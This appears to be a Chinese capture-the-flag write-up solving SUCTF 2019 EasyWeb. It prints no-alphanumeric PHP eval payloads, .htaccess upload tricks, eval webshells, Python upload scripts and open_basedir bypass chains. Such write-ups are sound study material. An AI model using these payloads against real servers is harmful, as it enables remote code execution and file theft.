SUCTF 2019]EasyWeb
考点:
- 无数字字母shell
- 利用.htaccess上传文件
- 绕过open_basedir
源码审计
<?php
function get_the_flag(){
// web admin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); //命名格式(upload/tmp_md5(ip))
if(!file_exists($userdir)){ //判断是否存在文件,不存在就重新创建
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1); //输出文件名.后的数据例:123.php输出php
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); //获取文件里面的信息不能出现<?
if(!exif_imagetype($tmp_name)) die("^_^"); //用来检查文件头是否和文件的后缀符合
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){ //长度绕过
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) //无数字、字母绕过-命令执行--bypass
die('Try something else!');
$character_type = count_chars($hhh, 3); //count_chars — 返回字符串所用字符的信息
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
审计结果
下面是无数字、字母、参数的rce
利用的还是之前的笔记p牛的笔记
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
传参
$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[1121]);
此方法分为两种一种GET型的一种POST型的
下面是POST
?_=$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;$a($c[1121]);
然后post:1121=phpinfo();
下面是get方式
?_=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();
上面这个是使用的异或手段的,然后我们还可以是利用php的经典特性
Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号。
用下面是脚本
<?php
$l = "";
$r = "";
$argv = str_split("_GET"); ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); ##进行异或
if($k == $argv[$i]){
if($j<16){ ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
}
}}
echo "\{$l`$r\}"; ### 这里的反引号只是用来区分左半边和右半边而已
?>
执行
得到的 -- \{%ff%ff%ff%ff`%a0%b8%ba%ab\} ==get
这里值得注意的是${_GET}{%A0}就等于$_GET[%A0],%A0是一个字符虽然没有被引
号引起来但是php也不会将他看出是变量,
这就是为什么&_GET[cmd]=&_GET["cmd"] 了。
还有一个特性是$a=phpinfo 如果执行$a() 就相当于执行了phpinfo()
payload
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
我们可以执行得到phpinfo
然后获取flag
但是其实这是一个非预期解,真正的解法是利用.htaccess文件上传的方法
我们对上面的代码分析可以知道,我们是能够上传文件的,然后在调用get_the_flag
的方法,这个样的得到flag的方式才是真正的预期解。
但是问题来了,是哪个传入口在哪里,我们要上传什么文件。上面的代码解析是用来
解析图片的的格式的,我们要怎么才能上传是最大的问题了。
第一上传什么文件
我们先调用一下这个getflag法人方法
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
一片空白什么也没有
不要慌,其实这是因为我们触发的是php文件上传的后端代码。
解析
对于需要绕过的点主要有php问价后缀的绕过,这个就限制了我们不能上传php文件
,不能上传php文件我们就没有办法进行php解析。
方法:
对于该网站是一个apache服务器,所以可以上传.htaccess文件。
对于.htaccess文件的详细解析前面的文件上传里面有总结。
主要利用的就是.htaccess文件可以直接被php解析并执行。
二:绕过<?
方法:
我们直接使用<%来进行绕过。因为php = 7.2所以不能用<script>
三:绕过文件头的检查,绕过exif_imagetype()函数
方法:
使用\x00\x00\x8a\x39\x8a\x39绕过
使用
#define width 1337
#define height 1337
绕过
明确上传文件和绕过的检查方法以后我们开始写.htaccess文件
写法1
#define width 1
#define height 1
AddType application/x-httpd-php .pxp
php_value auto_append_file "php://filter/convert.base64-decode/resource=1121.pxp"
写法2
\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .ss
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_837ec5754f503cfaaee0929fd48974e7/1121.txt"
解析
AddType application/x-httpd-php .txt
###将1.test以php的方式解析
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_48cd8b43081896fbd0931d204f947663/shell.txt"
##在shell.txt加载完毕后,再次包含base64解码后的shell.txt,
成功getshell,所以这也就是为什么会出现两次shell.txt内容的原因,第一次是
没有经过base64解密的,第二次是经过解密并且转化为php了的。
写完配置文件之后我们编写要上传的木马文件
\x00\x00\x8a\x39\x8a\x39
<?php eval($_GET['cmd']);?>
同样需要我们绕过文件头的验证函数
下面是上传文件—python脚本能力太差不会写
下面给出三个
来源
https://mayi077.gitee.io/2020/02/14/SUCTF-2019-EasyWeb/
https://www.shawroot.cc/1840.html
分步上传1
import requests
xbmhtaccess=b"""
#define width 1
#define height 1
AddType application/x-httpd-php .qiu
php_value auto_append_file "php://filter/convert.base64-decode/resource=zenis.qiu"
"""
### 或者xbmhtaccess=b"""\x00\x00\x85\x48\x85\x18
### AddType application/x-httpd-php .test
### php_value auto_append_file
### "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.test"
### """
url="http://3f165c30-20ac-4c51-8d4a-742208486edc.node1.buuoj.cn/?_=$%7B%86%9E%9C%8D%5E%d9%d9%d9%d9%7D%7B%d9%7D();&%d9=get_the_flag"
#upload
files={
'file':('.htaccess',xbmhtaccess,'image/png')
}
r=requests.post(url,files=files)
print r.text
分步上传2
import requests
import base64
url="http://27599faf-aa11-40af-82aa-79ff4bc28fe5.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess=b"""\x00\x00\x85\x48\x85\x18
AddType application/x-httpd-php .test
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test" ##这里需要替换为自己上传的文件名
"""
shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #aa为了满足base64算法凑足八个字节
#first_upload ---- to upload .htaccess
files1={
'file':('.htaccess',htaccess,'image/jpeg')
}
r1=requests.post(url=url,files=files1)
print (r1.text)
#second_upload ---- to upload .shell
#
files2={
'file':('1.test',shell)
}
r1=requests.post(url,files=files2)
print (r1.text)
一步上传
import requests
import hashlib
import base64
url ="http://a72f9a31-9b77-43e5-b2c1-a31861d4c18c.node3.buuoj.cn/"
padding = "?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=get_the_flag"
myip=requests.get("http://ifconfig.me").text
ip_md5 = hashlib.md5(myip.encode()).hexdigest()
userdir="upload/tmp_"+ip_md5+"/"
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shaw.cc"
"""
shaw = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['cmd']);?>")
files =[('file',('.htaccess',htaccess,'image/jpeg'))]
res = requests.post(url=url+padding,files=files)
files = [('file',('shaw.cc',shaw,'image/jpeg'))]
res = requests.post(url=url+padding,files=files)
print("the path is:"+url+res.text)
上传结果
测试
连马
执行命令
发现有disable_functions
看看终端
报错127
那就直接蚁剑插件
tmd不出所料,我的蚁剑还是不能用。
其实这里一点自己犯了个错误,就是蚁剑用的windows系统的,要使用插件的话,是需要我们使用linux系统的。
查看phpinfo
发现有open_basedir方法的限制,我们只能打开两个目录
对于上面的绕过open_basedir方法我们可以参考p牛的文章
https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html
payload
列目录
?cmd=mkdir('rot');chdir('rot');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(glob('*'));
读flag
?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
写在最后
欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!